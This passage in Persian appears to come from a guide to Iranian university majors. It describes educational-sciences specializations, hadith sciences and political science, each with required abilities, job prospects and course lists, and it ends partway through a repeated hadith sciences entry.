    تکنولوژی آموزشی در لغت از واژه‌های خاص “تکنو” به معنی برخورد سیستماتیک با پدیده‌های علمی, “لوژی” به معنای شناخت، و “آموزش” به معنای فعالیت‌های هدفمندی است که مربیان یا معلمان انجام می‌دهند تا تغییر رفتار یا توانایی تغییر رفتار در فراگیرنده به وجود بیاید. از همین جا مشخص می‌شود که تکنولوژی آموزشی به معنای شناخت پدیده‌ها یا روش‌های دقیق آموزشی برای رسیدن به اهداف آموزشی است. همان‌طور که گفتیم این یک تعریف لغوی است. اما در تعریف مفهومی باید گفت که تکنولوژی آموزشی شامل تئوری‌ها و اجرای اعمال طراحی، رشد، کاربرد، مدیریت و ارزشیابی فرآیندها و منابع یادگیری می‌شود.این فرآیند از یک سو نگاهی خُرد و موشکافانه دارد؛ زیرا برای تسهیل فراگیری به تک تک فراگیران به صورت خُرد توجه می‌کند و از سوی دیگر کیفیت آموزشی را به‌صورت کلی در نظر می‌گیرد و در این راستا به طراحی علمی، رشد علمی، کاربرد و مدیریت این فرآیند می‌پردازد.در کل می‌توان گفت که رشته تکنولوژی آموزشی تلاش می‌کند تا با طراحی دقیق و صحیح نظام آموزشی، به معلم‌ها بیاموزد که چگونه معلمی ورزیده، کاردان و ماهر شوند و تدریس خود را بر پایه بهترین شیوه‌ یادگیری, استوار کنند. این دانش همچنین به مسؤولان نظام آموزشی بهترین راه تدوین کتب درسی، مدیریت آموزشی و ارزشیابی آموزشی را نشان می‌دهد.
    توانایی‌های لازم:
    تکنولوژی آموزشی فرآیند کیفی و خُرد است؛ یعنی به یادگیری تک تک انسان‌ها توجه دارد. به همین دلیل دانشجوی این رشته باید نوع‌دوست، انسان‌دوست، علاقه‌مند به دانش‌آموزان و در عمل صادق باشد. همچنین لازم است از نظر هوشی، توانایی فوق‌العاده‌ای داشته و دید هنری داشته باشد.در حال حاضر نیز می‌بینیم که دانشجویان توانمند این رشته گاه با وسایل بسیار ابتدایی، وسایل جدید و جالبی خلق می‌کنند. و در نهایت این‌که دانشجوی تکنولوژی آموزشی اگر هدفش ورود به آموزش وپرورش است، نباید ایده‌آل‌گرا باشد چون هنوز تفکر تکنولوژی آموزشی در آموزش وپرورش جا نیفتاده است و فارغ‌التحصیلان این رشته نباید انتظار داشته باشند که آموخته‌های خود را خیلی راحت و بدون هیچ مقاومتی در محیط آموزشی پیاده کنند.
    موقعیت شغلی در ایران:
    فلسفه اصلی این رشته، استفاده از توانایی فارغ‌التحصیلان آن در آموزش و پرورش و سپس صدا و سیما است. اما در عمل می‌بینیم که به دلیل تفکر غلط حاکم بر محیط‌های فوق، تکنولوژیست‌های آموزشی به سختی جذب این مراکز می‌شوند. البته برخی از فارغ‌التحصیلان این رشته جذب مدارس غیرانتفاعی شده‌اند و با ارائه طرح‌های آموزشی برای دوره‌ها و درس‌های مختلف، کارآیی مدرسه را بسیار ارتقاء داده‌اند.عده‌ای از فارغ‌التحصیلان نیز جذب وزارت ارشاد یا کانون پرورش فکری کودکان و نوجوانان می‌شوند و بالاخره برخی از فارغ‌التحصیلان با توجه به توانایی‌هایی که در طی تحصیل کسب کرده‌اند، جذب بازار کار آزاد می‌شوند و به عکاسی آموزشی یا تولید فیلم‌های آموزشی می‌پردازند.
    درس‌های این رشته در طول تحصیل:
    دروس مشترک در گرایش‌های مختلف علوم تربیتی:
    تاریخ آموزش و پروش در اسلام و ایران، فلسفه آموزش و پرورش، اصول و مبانی آموزش و پرورش،‌آموزش و پرورش تطبیقی، آموزش و پرورش ابتدایی راهنمایی و متوسطه، اخلاق اسلامی،‌روش ها و فنون تدریس، روانشناسی عمومی، ‌روانشناسی تربیتی، روانشناسی رشد کودکی و نوجوانی، جامعه‌شناسی عمومی، جامعه‌شناسی آموزش و پرورش، اقتصاد آموزش و پرورش، مقدمات مدیریت آموزشی، مقدمات برنامه‌ریزی آموزشی ودرسی، آموزش و پرورش کودکان استثنائی، مقدمات مشاوره و راهنمایی، مقدمات تکنولوژی آموزشی، آشنایی با کتابخانه و اصول کتابداری، روش‌های آماری در علوم تربیتی، سنجش واندازه‌گیری در علوم تربیتی، مقدمات روش تحقیق در علوم تربیتی.
    دروس تخصصی گرایش تکنولوژی آموزشی:
    سمینار در برنامه‌ریزی درسی و آموزشی، مبانی ارتباط انسانی، اصول طراحی پیام‌های آموزشی، اصول عکاسی، تولید برنامه‌های تلویزیونی، انتخاب، بهره‌برداری و ارزیابی مواد و وسایل آموزشی، تولید مواد آموزشی.
    گرایش مدیریت و برنامه‌ریزی:
    گرایش مدیریت و برنامه‌ریزی آموزشی یک رشته میان رشته‌ای است که تلفیقی از رشته‌های روانشناسی، جامعه‌شناسی، فلسفه، مدیریت، آمار، زبان خارجی و مشاوره می‌باشد.هدف این گرایش از یک سو فراهم ساختن فرصت‌های یادگیری هر چه بیشتر برای گروه‌های واجب‌التعلیم و علاقه‌مند به یادگیری و از سوی دیگر تربیت نیروی انسانی ماهر مورد نیاز توسعه اقتصادی کشورها است. در کل مدیریت و برنامه‌ریزی آموزشی، مدیریت بر فعالیت‌های یاددهی و یادگیری به منظور ایجاد تغییرات مطلوب در رفتار یادگیرنده و ارزیابی میزان تحقق این تغییرات است.فارغ‌التحصیل این گرایش به راحتی می‌تواند علاوه بر پیش‌بینی‌های آموزشی یک کشور، مراحل برنامه‌ریزی آموزشی و مدیریت بر اجرای آن را ترسیم کند و با روش‌های بهتر آموزشی، راهنما و مشاور خوبی برای یادگیرندگان باشد.
    توانایی‌های لازم :
    فلسفه، جامعه‌شناسی، ‌ریاضیات، آمار، اقتصاد و زبان انگلیسی در این رشته کاربرد و اهمیت بسیاری دارد. دانشجوی این رشته باید نسبت به محیط‌های آموزشی جامعه خود، دید عمیقی داشته باشد و روش‌ آموزش کشور خود را بداند تا ظرافت‌های رفتاری دانش‌آموزان را درک کند و در نهایت به تشریح و تشکیل یک برنامه‌ریزی آموزشی صحیح بپردازد.
    موقعیت شغلی در ایران :
    امروزه آموزش با همه جنبه‌های زندگی ما ارتباط تنگاتنگ دارد و هر اندازه که جامعه ما پیچیده‌تر شود، آموزش و پرورش نقش مهم‌تری در حل مسائل آتی و رشد انسان‌ها پیدا می‌کند. به همین دلیل موقعیت‌های شغلی بسیاری برای فارغ‌التحصیلان این گرایش وجود دارد. تا جایی که بسیاری از کارشناسان مدیریت و برنامه‌ریزی آموزشی آینده شغلی این گرایش را در کشور ما، بسیار امیدبخش و ایده‌آل می‌دانند و معتقدند که فارغ‌التحصیلان مدیریت و برنامه‌ریزی آموزشی باید آینده خود را در فردا ببینند. چون کشور ما، یکی از کشورهای در حال رشد و توسعه است و بدون بهره‌گیری از شاخه‌های مختلف آموزشی، نمی‌تواند توسعه همه جانبه داشته باشد.در حال حاضر فارغ‌التحصیلان این گرایش در درجه اول جذب آموزش و پرورش می‌شوند. تعدادی نیز در سازمان‌های دولتی از جمله سازمان‌های مدیریت وبرنامه‌ریزی و برنامه‌وبودجه فعالیت می‌کنند. گفتنی است که فارغ‌التحصیلان مدیریت و برنامه‌ریزی آموزشی مجوز تأسیس آموزشکده‌های درسی را دارند و در صورت داشتن سرمایه لازم،‌ می‌توانند در این زمینه فعالیت کنند.
    دروس تخصصی گرایش مدیریت و برنامه‌ریزی آموزشی:
    اصول مدیریت آموزشی ، روانشناسی اجتماعی در تعلیم و تربیت ، سازمان و قوانین آموزش و پرورش ایران، اصول برنامه‌ریزی آموزشی، مبانی امور مالی و تنظیم بودجه در آموزش و پرورش، اصول برنامه‌ریزی درسی، کاربرد مقدمات کامپیوتر در مدیریت آموزشی، اصول حسابداری، روابط انسانی درسازمان‌های آموزشی،‌نظارت و راهنمایی تعلمیاتی، راهنمایی تحصیلی و شغلی، مسائل نوجوانان و جوانان، آموزش بزرگسالان، برنامه‌ریزی آموزش ضمن خدمت، مدیریت اسلامی، پروژه تحقیقاتی (سمینار)، کار عملی مدیریت در آموزشگاه، کار عملی در سازمان‌ها، متون زبان خارجه (در برنامه‌ریزی آموزش درسی)، متون زبان خارجه در مدیریت آموزشی.
    گرایش آموزش و پرورش پیش‌دبستانی و دبستانی:
    آموزشی که از زمان تولد آغاز و تا شروع اولین کار رسمی دبستان در پایان ششمین سال زندگی کودک ادامه می‌یابد، بسیار مهم است. زیرا کودکان در چنین سال‌هایی، مراحل مهم و حساس زندگی خود را از نظیر شخصیتی،‌ اجتماعی و آموزشی پشت سر می‌گذرانند، و در واقع ۶ سال اولیه زندگی از لحاظ رشد هوش و شکل‌گیری شخصیت دورانی سرنوشت‌ساز است. از سوی دیگر آموزش وپرورش دبستانی مهم‌ترین حلقه از حلقه‌های نظام آموزش و پرورش کشور است و کودکان در این دوره در مراحل بسیار مهم رشد جسمانی،‌ عاطفی، ذهنی به سر می‌برند، از همین‌رو توجه به این دوره از آموزش و پرورش باید از اولویت خاصی برخوردار باشد. هدف گرایش آموزش و پرورش پیش‌دبستانی و دبستانی تربیت متخصصانی است که بتوانند قوای جسمی،‌ عاطفی، روانی،‌ اجتماعی و اخلاقی کودکان پیش‌دبستانی و دبستانی را پرورش دهند.
    توانایی‌های لازم :
    تعلیم و تربیت بیش از آنکه علم باشد،‌فن و هنر است و یک معلم یا مربی باید به یاری فن و هنر خویش مراحل یادگیری را هدایت کند. به همین دلیل دانشجوی این گرایش باید فردی خلاق بوده و از اطلاعات عمومی نسبتاً گسترده و فن بیان خوبی برخوردار باشد و در نهایت از کار با کودکان لذت ببرد.
    موقعیت شغلی در ایران :
    فارغ‌التحصیل این گرایش علاوه بر کار در آموزش و پرورش و مهد کودک‌ها و آمادگی‌ها در صورت داشتن سرمایه‌ لازم می‌تواند مجوز تأسیس مهد کودک و آمادگی را بگیرد و در این زمینه به طور خصوصی فعالیت کند. همچنین می‌تواند در مراکز مرتبط با کودکان مانند کانون پروش فکری کودکان و نوجوانان یا سازمان بهزیستی به عنوان کارشناس حضور داشته باشد.
    دروس تخصصی گرایش آموزش و پرورش دبستانی و پیش‌دبستانی:
    آموزش و پروش پیش‌دبستانی و دبستانی، بهداشت و تغذیه مادر و کودک،‌ اصول بهداشت و کمک‌های اولیه، تفاوت‌های فردی کودکان،‌ روانشناسی بازی، مدیریت مراکز پیش‌دبستانی و دبستانی، آشنایی با مفاهیم و روش تدریس ریاضیات، آموزش هنر، تهیه و کاربرد وسایل مواد آموزشی،‌کاردستی و مهارت‌های فنی، ‌مشاهده (کارورزی) زبان‌آموزی، قصه‌گویی و نمایش خلاق، کار و آشنایی با طبیعت و زندگی اجتماعی، حرکت ورزشی و سرودهای خاص کودکان، مشاوره کودک،‌ روانشناسی آموزش خواندن، ادبیات کودکان،‌ آشنایی با فعالیت‌های تربیتی ـ اجتماعی، روش تدریس علوم تجربی واجتماعی، تربیت بدنی(ورزش و بازی‌های دبستانی)، کارورزی دبستان.
    گرایش آموزش و پرورش کودکان استثنایی:
    کودکان ودانش‌آموزان استثنایی به پنج گروه عقب‌مانده ذهنی و معلول جسمی، ناشنوا و نیمه‌شنوا، نابینا و نیمه‌بینا، ناسازگار و تیزهوش تقسیم می‌شوند و در هر گروه شرایط خاصی برای تعلیم و تربیت آنها وجود دارد . هدف از آموزش و پرورش کودکان استثنایی فراهم آوردن فرصت‌های مناسب و امکانات آموزشی ویژه برای این دسته از کودکان است. در این گرایش به کودکان دارای مشکلات ذهنی و جسمی بیشتر پرداخته می‌شود و متخصصان کودکان استثنایی تلاش می‌کنند تا با توجه به ویژگی‌های عقلانی و جسمانی آنان ، توانایی‌های ذهنی و جسمی آنها را به حداکثر برسانند .
    توانایی‌های لازم :
    دانشجوی این رشته باید صبر و حوصله بسیار داشته و عشق و علاقه وافری به تعلیم و تربیت کودکان استثنایی داشته باشد. در این رشته خلاقیت و تسلط بر فنون و روش‌های آموزش، حرف اول را می‌زند.
    موقعیت شغلی در ایران :
    فارغ‌التحصیلان این رشته می‌توانند به عنوان دبیر یا مربی در مدارس دانش‌آموزان استثنایی (عقب‌مانده ذهنی) و مراکز نگهداری کودکان عقب‌مانده ذهنی فعالیت کنند همچنین می‌توانند کارشناس گزینش و تشخیص کودکان عقب‌مانده ذهنی در مؤسسات گوناگون از قبیل وزارت آموزش و پرورش و سازمان‌ بهزیستی کشور شوند.
    دروس تخصصی گرایش آموزش و پرورش کودکان استثنایی:
    فیزیولوژی، روانشناسی عقب‌ماندگی‌های ذهنی‌، آموزش و پرورش عقب‌ماندگان ذهنی، اختلالات رفتاری ـ عاطفی، اختلالات گویایی، اختلالات یادگیری، گفتاردرمانی، روش‌های تغییر رفتار، آزمون‌های تشخیص عقب‌ماندگی‌های ذهنی، بهداشت و کمک‌های اولیه، روش‌های مشاوره و مصاحبه، بازی و حرکت درمانی،‌ تهیه مواد و وسایل آموزشی و کمک‌ آموزشی، روش تدریس علوم تجربی و اجتماعی، روش تدریس ریاضی،‌ روش تدرس زبان فارسی، کارورزی در روش‌های تدریس، روش‌های بازپروری حسی ـ حرکتی ، روش‌های بازپروری حرفه‌ای، روش‌های بازپروری اجتماعی، کارورزی در روش‌های بازپروری.

  77. علوم حدیث
    دیباچه: “… از رسول خدا(ص) سخنی صادر می‌شد که دارای دو معنی بود. سخنی که به چیز و وقت معینی اختصاص داشته و سخنی که همه چیز و همه وقت را شامل بود پس کسی که نمی‌دانست خدا و رسول او از آن سخن چه خواسته‌اند، آن را می‌شنید و از روی جهل، بر خلاف واقع و بر ضد آنچه قصد شده معنی و توجیه می‌نمود. پس این سبب‌ها باعث اختلاف مردم و پریشان ماندن آنان در روایتشان است.””خلاصه خطبه ۲۰۱ نهج‌البلاغه”
    خطبه ۲۰۱ نهج‌البلاغه بیانگر آن است که هرچند حدیث در کنار قرآن یکی از دو مصدر دین‌شناسی است اما چون همانند قرآن از تغییر و تحریف مصون نیست،‌برای ورود به آن باید به دانشی تخصصی به نام علم‌الحدیث مجهز بود. دانش مهم و ارزشمندی که امروزه در رشته علوم حدیث آموزش داده می‌شود.
    رشته‌ علوم‌ حدیث‌ از سه‌ منظر کلی‌ به‌ حدیث‌ می‌پردازد که‌ این‌ سه‌ منظر عبارتند از:
    ۱ـ تاریخ‌ و مصطلحات‌ که‌ در آن‌ تاریخ‌ تطور، تحول‌ و پیدایش‌ علم‌الحدیث‌ از دیدگاه‌ اهل‌ تشیع‌ و اهل‌ تسنن‌ بررسی‌ می‌شود. همچنین‌ معنا و مفهوم‌ و اصطلاحات‌ علم‌ حدیث‌، آموخته‌ می‌شود. ۲ـ علم‌الرجال‌، که‌ به‌ بررسی‌ زندگی‌ راویان‌ حدیث‌ می‌پردازد. برای‌ مثال‌ اگر یک‌ حدیث‌ پنج‌ راوی‌ داشته‌ است‌، زندگی‌ هر یک‌ از راویان‌ بررسی‌ می‌شود که‌ آیا راویان‌ فوق‌ ویژگی‌های‌ لازم‌ را برای‌ نقل‌ حدیث‌ داشته‌اند؟ آیا راستگو و ضابط‌ بوده‌اند یا اینکه‌ فراموشکار بوده‌ و در حفظ‌ و نقل‌ حدیث‌ با تساهل‌ و تسامح‌ برخورد می‌کرده‌اند؟ ۳ ـ فقه‌الحدیث‌ که‌ به‌ فهم‌ محتوای‌ احادیث‌ می‌پردازد.
    توانایی‌های‌ لازم‌ :
    عربی و علوم معارف اسلامی در این رشته اهمیت ویژه‌ای دارد و دانشجویان باید در این دروس توانمند و کارآمد باشند. همچنین لازم است به مطالعه و تحقیق علاقه‌مند بوده و مشتاق فهم دین و فهم اسلام باشند. رشته‌ علوم‌ حدیث‌ از جمله‌ رشته‌هایی‌ است‌ که‌ در آزمون‌ سراسری‌ از بین‌ داوطلبان‌ هر سه‌ گروه‌ آزمایشی‌ ریاضی‌ و فنی‌، علوم‌ تجربی‌ و علوم‌ انسانی‌ دانشجو می‌پذیرد.
    موقعیت‌ شغلی‌ در ایران‌ :
    فارغ‌التحصیل‌ رشته‌ علوم‌ حدیث‌ می‌تواند به‌ عنوان‌ کارشناس‌ علوم‌ اسلامی‌ در دوایر دولتی‌ مشغول‌ به‌ کار شود و چون‌ به‌ زبان‌ انگلیسی‌ نیز مسلط‌ است‌، می‌تواند به‌ عنوان‌ رایزن‌ فرهنگی‌ ایران‌ در کشورهای‌ دیگر، مبلغ‌ اسلام‌ و اصول‌ اسلامی‌ گردد و در صورت‌ ادامه‌ تحصیل‌ و کسب‌ مدارج‌ بالاتر به‌ عنوان‌ استاد در دانشگاه‌های‌ داخل‌ یا خارج‌ از کشور فعالیت‌ نماید، چون‌ در حال‌ حاضر بعضی‌ از دانشگاه‌های‌ خارج‌ از کشور مثل‌ دانشگاه‌ اردن‌ یا لبنان‌ علاقه‌مند به‌ جذب‌ متخصص‌ علوم‌ حدیث‌ شیعه‌ از کشور ایران‌ هستند. همچنین‌ فارغ‌التحصیل‌ این‌ رشته‌ می‌تواند در آموزش‌ و پرورش‌ به‌ عنوان‌ دبیر دینی‌، مربی‌ قرآن‌ یا مربی‌ امور تربیتی‌ فعالیت‌ نماید.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل‌ :
    دروس‌ پایه‌ :
    روش‌ تحقیق‌ ، اخلاق‌ ، تاریخ‌ اسلام‌ ، سیره‌ پیشوایان‌ دینی‌ ، زبان‌ تخصصی‌ ، منطق‌، آشنایی‌ با کلیات‌ علوم‌ عقلی‌، کلام‌ و عقاید اسلامی‌ ، تفسیر مقدماتی‌ ، صرف‌ و نحو کاربردی‌ ، قرائت‌ و درک‌ مفاهیم‌ از متون‌ حدیثی‌، قرائت‌ و درک‌ مفاهیم‌ از متون‌ تفسیری‌، قرائت‌ و درک‌ مفاهیم‌ از متون‌ فقهی‌ ، آشنایی‌ با فقه‌ مقدماتی‌، آشنایی‌ با اصول‌ فقه‌، قرائت‌ و تجوید قرآن‌ کریم‌، علوم‌ بلاغی‌ ، ترجمه‌ عربی‌ به‌ فارسی‌، ترجمه‌ فارسی‌ به‌ عربی‌، قرائت‌ مطبوعات‌ و استفاده‌ از رادیو ، مکالمه‌ و محاضره‌ (سمعی‌ و بصری‌) ، آشنایی‌ با فرق‌ اسلامی‌، آشنایی‌ با ادیان‌ توحیدی‌ (زرتشتی‌، یهودی‌، مسیحیت‌).
    دروس‌ اصلی‌ و تخصصی‌:
    کتابت‌ و تدوین‌ حدیث‌ ، شناخت‌ محدثان‌ ، مصطلحات‌ حدیث‌ ، طریق‌ تحمل‌ حدیث‌ ، جوامع‌ حدیثی‌ متقدم‌ و متأخر شیعه‌، جوامع‌ حدیثی‌ متقدم‌ و متأخر اهل‌ سنت‌، اصحاب‌ اجماع‌، توثیقات‌ عام‌ و خاص‌ ، احادیث‌ موضوعه‌ ، ملاک‌های‌ نقد حدیث‌، فقه‌الحدیث‌ ، آشنایی‌ با علم‌ رجال‌، راویان‌ عادل‌ و موثق‌، راویان‌ ضعیف‌، آشنایی‌ با کتب‌ رجال‌ شیعه‌، آشنایی‌ با کتب‌ رجال‌ اهل‌ سنت‌، مطالعات‌ جغرافیایی‌ درباره‌ رجال‌ حدیث‌، سیری‌ در نهج‌البلاغه‌ و شروح‌ آن‌ ، سنن‌النبی‌ (ص‌)، تأثیر حدیث‌ در ادبیات‌ فارسی‌، سهم‌ زنان‌ در نشر احادیث‌.

  78. علوم سیاسی
    دیباچه: آنچه‌ مردم‌ به‌ نام‌ سیاست‌ و مسائل‌ سیاسی‌ می‌شناسند با سیاست‌ به‌ مفهومی‌ که‌ در رشته‌ علوم‌ سیاسی‌ مطرح‌ است‌، تفاوت‌ بسیار دارد. دانشجویان‌ موفق‌ این‌ رشته‌ نیز باید بدانند که در نهایت نه‌ یک‌ سیاستمدار بلکه‌ یک‌ سیاست‌شناس‌ خواهند شد.
    در واقع‌ علوم‌سیاسی‌ به‌ بررسی‌ اندیشه‌ها و نظریه‌های‌ سیاسی‌ و کارکرد آنها در عرصه‌ جامعه‌ می‌پردازد و رشته‌ علوم‌سیاسی‌ ارائه‌ یکسری‌ نظریه‌ها یا یکسری‌ ابزارها و راهکارهایی‌ است‌ که‌ بر اساس‌ آنها هر جامعه‌ شرایط‌ و مشکلات‌ حال‌ را بررسی‌ کرده‌ و از پیش‌ پا برمی‌دارد و برای‌ حرکت‌ها و اقدامات‌ بعدی‌ ـ ترسیم‌ فضا برای‌ مسیر آینده‌ ـ برنامه‌ریزی‌ می‌کند همچنین‌ از تجارب‌ و دستاوردهای‌ بشر که‌ در طول‌ تاریخ‌ در عرصه‌ اجتماع‌ به‌ دست‌ آورده‌ است‌، بهره‌ می‌برد. این‌ رشته‌ از سه‌ شاخه‌ عمده‌ تشکیل‌ می‌شود که‌ عبارتند از:
    دانش‌ حکومت‌ کردن‌ و نهادهای‌ سیاسی‌، نظریات‌ سیاسی‌ و روابط‌ و سیاست‌ بین‌الملل‌.
    توانایی‌های‌ لازم‌ :
    داشتن‌ شَم‌ سیاسی‌ و علاقه‌ به‌ مسائل‌ سیاسی‌ و برخورداری‌ از دیدی‌ عمیق‌ و وسیع‌، ویژگی‌های‌ لازم‌ برای‌ یک‌ دانشجوی‌ رشته‌ علوم‌سیاسی‌ است‌. همچنین‌ دانشجوی‌ این‌ رشته‌ باید فردی‌ منطقی‌ بوده‌ و نظریاتش‌ مستند به‌ دلیل‌ و مدرک‌ باشد و ظرفیت‌ بالایی‌ داشته‌ باشد تا در بمباران‌ مسائل‌ روزمره‌ گیج‌ نشود‌ و عمق‌ مسائل‌ اجتماع‌ را ببیند. دانشجوی‌ علوم‌سیاسی‌ لازم‌ است‌ با همه‌ اقشار جامعه‌ ارتباط‌ داشته‌ باشد تا بفهمد که‌ مردم‌ جامعه‌اش‌ به‌ چه‌ فکر می‌کنند و نیازهای‌ آنها چیست‌؟ داوطلبان‌ کنکور سراسری‌ در صورتی‌ در این‌ رشته‌ موفق‌ می‌شوند که‌ کتب‌ تاریخی‌ بخصوص‌ تاریخ‌ سیاسی‌ را دوست‌ داشته‌ باشند و فلسفه‌ را با علاقه‌ بخوانند.
    موقعیت‌ شغلی‌ در ایران :
    در حال‌ حاضر تعدادی‌ از فارغ‌التحصیلان‌ رشته‌ علوم‌سیاسی‌ در بخش‌های‌ سیاسی‌ و حقوقی‌ سازمان‌ها و وزارتخانه‌ها و همچنین‌ در صدا و سیما مشغول‌ به‌ کار می‌باشند اما حدود ۹۰% فارغ‌التحصیلان‌ این‌ رشته‌ با مشکل‌ اشتغال‌ روبرو هستند. با این‌ وجود اگر دانشجویی‌ واقعاً علاقه‌مند بوده‌ و در این‌ رشته‌ موفق‌ و متبحر باشد و همچنین‌ قلم‌ خوبی‌ داشته‌ باشد از نظر شغلی‌ مشکلی‌ نخواهد داشت‌. اما متأسفانه‌ بسیاری‌ از دانشجویان‌ شناخت‌ و علاقه‌ لازم‌ را ندارند و در واقع نمی‌دانند که برای چه به این رشته آمده‌اند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    مبانی‌ علم‌ سیاست‌، مبانی‌ علم‌ حقوق‌، مبانی‌ علم‌ اقتصاد، مبانی‌ جامعه‌شناسی‌ عمومی‌، روش‌ تحقیق‌ در علوم‌ سیاسی‌، حقوق‌ اساسی‌ (کلیات‌)، حقوق‌ اساسی‌ جمهوری‌ اسلامی‌ ایران‌، مبانی‌ اندیشه‌های‌ سیاسی‌ در اسلام‌، حقوق‌ بین‌الملل‌ اسلام‌، نظام‌ سیاسی‌ و دولت‌ در اسلام‌، اندیشه‌های‌ سیاسی‌ در اسلام‌ و ایران‌، جنبش‌های‌ اسلامی‌ معاصر، تحولات‌ سیاسی‌ و اجتماعی‌ ایران‌ ، انقلاب‌ اسلامی‌ ایران‌، تاریخ‌ روابط‌ خارجی‌ ایران‌ از قاجاریه‌ تا دوران‌ معاصر، سیاست‌ خارجی‌ جمهوری‌ اسلامی‌ ایران‌، مسائل‌ اقتصادی‌ و سیاسی‌ نفت‌ در ایران‌، حقوق‌ اداری‌، خلیج‌فارس‌ و مسائل‌ آن‌، مسائل‌ سیاسی‌ و اقتصادی‌ جهان‌ سوم‌، اصول‌ روابط‌ بین‌الملل‌، تاریخ‌ روابط‌ بین‌الملل‌ از ۱۸۷۱ تا ۱۹۴۵ ، سازمان‌های‌ بین‌المللی‌، تاریخ‌ اندیشه‌های‌ سیاسی‌ در غرب‌ از قبل‌ از افلاطون‌ تا قرن‌ بیستم‌، اندیشه‌های‌ سیاسی‌ در قرن‌ بیستم‌، دیپلماسی‌ و رفتار سیاسی‌ در اسلام‌، حقوق‌ بین‌الملل‌ عمومی‌، فن‌ دیپلماسی‌ و آداب‌ کنسولی‌، حقوق‌ بین‌الملل‌ خصوصی‌، تئوری‌های‌ انقلاب‌، شناخت‌ ماهیت‌ و عملکرد امپریالیسم‌، سیر قدرت‌ در دریاها، نوسازی‌ و دگرگونی‌ سیاسی‌، جامعه‌شناسی‌ سیاسی‌، سیاست‌ خارجی‌ قدرت‌های‌ بزرگ‌، مسائل‌ نظامی‌ و استراتژیک‌ معاصر، تاریخ‌ تحول‌ دولت‌ در اسلام‌، متون‌ سیاسی‌ به‌ زبان‌ خارجی‌.

  79. علوم حدیث
    دیباچه: “… از رسول خدا(ص) سخنی صادر می‌شد که دارای دو معنی بود. سخنی که به چیز و وقت معینی اختصاص داشته و سخنی که همه چیز و همه وقت را شامل بود پس کسی که نمی‌دانست خدا و رسول او از آن سخن چه خواسته‌اند، آن را می‌شنید و از روی جهل، بر خلاف واقع و بر ضد آنچه قصد شده معنی و توجیه می‌نمود. پس این سبب‌ها باعث اختلاف مردم و پریشان ماندن آنان در روایتشان است.””خلاصه خطبه ۲۰۱ نهج‌البلاغه”
    خطبه ۲۰۱ نهج‌البلاغه بیانگر آن است که هرچند حدیث در کنار قرآن یکی از دو مصدر دین‌شناسی است اما چون همانند قرآن از تغییر و تحریف مصون نیست،‌برای ورود به آن باید به دانشی تخصصی به نام علم‌الحدیث مجهز بود. دانش مهم و ارزشمندی که امروزه در رشته علوم حدیث آموزش داده می‌شود.
    رشته‌ علوم‌ حدیث‌ از سه‌ منظر کلی‌ به‌ حدیث‌ می‌پردازد که‌ این‌ سه‌ منظر عبارتند از:
    ۱ـ تاریخ‌ و مصطلحات‌ که‌ در آن‌ تاریخ‌ تطور، تحول‌ و پیدایش‌ علم‌الحدیث‌ از دیدگاه‌ اهل‌ تشیع‌ و اهل‌ تسنن‌ بررسی‌ می‌شود. همچنین‌ معنا و مفهوم‌ و اصطلاحات‌ علم‌ حدیث‌، آموخته‌ می‌شود. ۲ـ علم‌الرجال‌، که‌ به‌ بررسی‌ زندگی‌ راویان‌ حدیث‌ می‌پردازد. برای‌ مثال‌ اگر یک‌ حدیث‌ پنج‌ راوی‌ داشته‌ است‌، زندگی‌ هر یک‌ از راویان‌ بررسی‌ می‌شود که‌ آیا راویان‌ فوق‌ ویژگی‌های‌ لازم‌ را برای‌ نقل‌ حدیث‌ داشته‌اند؟ آیا راستگو و ضابط‌ بوده‌اند یا اینکه‌ فراموشکار بوده‌ و در حفظ‌ و نقل‌ حدیث‌ با تساهل‌ و تسامح‌ برخورد می‌کرده‌اند؟ ۳ ـ فقه‌الحدیث‌ که‌ به‌ فهم‌ محتوای‌ احادیث‌ می‌پردازد.
    توانایی‌های‌ لازم‌ :
    عربی و علوم معارف اسلامی در این رشته اهمیت ویژه‌ای دارد و دانشجویان باید در این دروس توانمند و کارآمد باشند. همچنین لازم است به مطالعه و تحقیق علاقه‌مند بوده و مشتاق فهم دین و فهم اسلام باشند. رشته‌ علوم‌ حدیث‌ از جمله‌ رشته‌هایی‌ است‌ که‌ در آزمون‌ سراسری‌ از بین‌ داوطلبان‌ هر سه‌ گروه‌ آزمایشی‌ ریاضی‌ و فنی‌، علوم‌ تجربی‌ و علوم‌ انسانی‌ دانشجو می‌پذیرد.
    موقعیت‌ شغلی‌ در ایران‌ :
    فارغ‌التحصیل‌ رشته‌ علوم‌ حدیث‌ می‌تواند به‌ عنوان‌ کارشناس‌ علوم‌ اسلامی‌ در دوایر دولتی‌ مشغول‌ به‌ کار شود و چون‌ به‌ زبان‌ انگلیسی‌ نیز مسلط‌ است‌، می‌تواند به‌ عنوان‌ رایزن‌ فرهنگی‌ ایران‌ در کشورهای‌ دیگر، مبلغ‌ اسلام‌ و اصول‌ اسلامی‌ گردد و در صورت‌ ادامه‌ تحصیل‌ و کسب‌ مدارج‌ بالاتر به‌ عنوان‌ استاد در دانشگاه‌های‌ داخل‌ یا خارج‌ از کشور فعالیت‌ نماید، چون‌ در حال‌ حاضر بعضی‌ از دانشگاه‌های‌ خارج‌ از کشور مثل‌ دانشگاه‌ اردن‌ یا لبنان‌ علاقه‌مند به‌ جذب‌ متخصص‌ علوم‌ حدیث‌ شیعه‌ از کشور ایران‌ هستند. همچنین‌ فارغ‌التحصیل‌ این‌ رشته‌ می‌تواند در آموزش‌ و پرورش‌ به‌ عنوان‌ دبیر دینی‌، مربی‌ قرآن‌ یا مربی‌ امور تربیتی‌ فعالیت‌ نماید.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل‌ :
    دروس‌ پایه‌ :
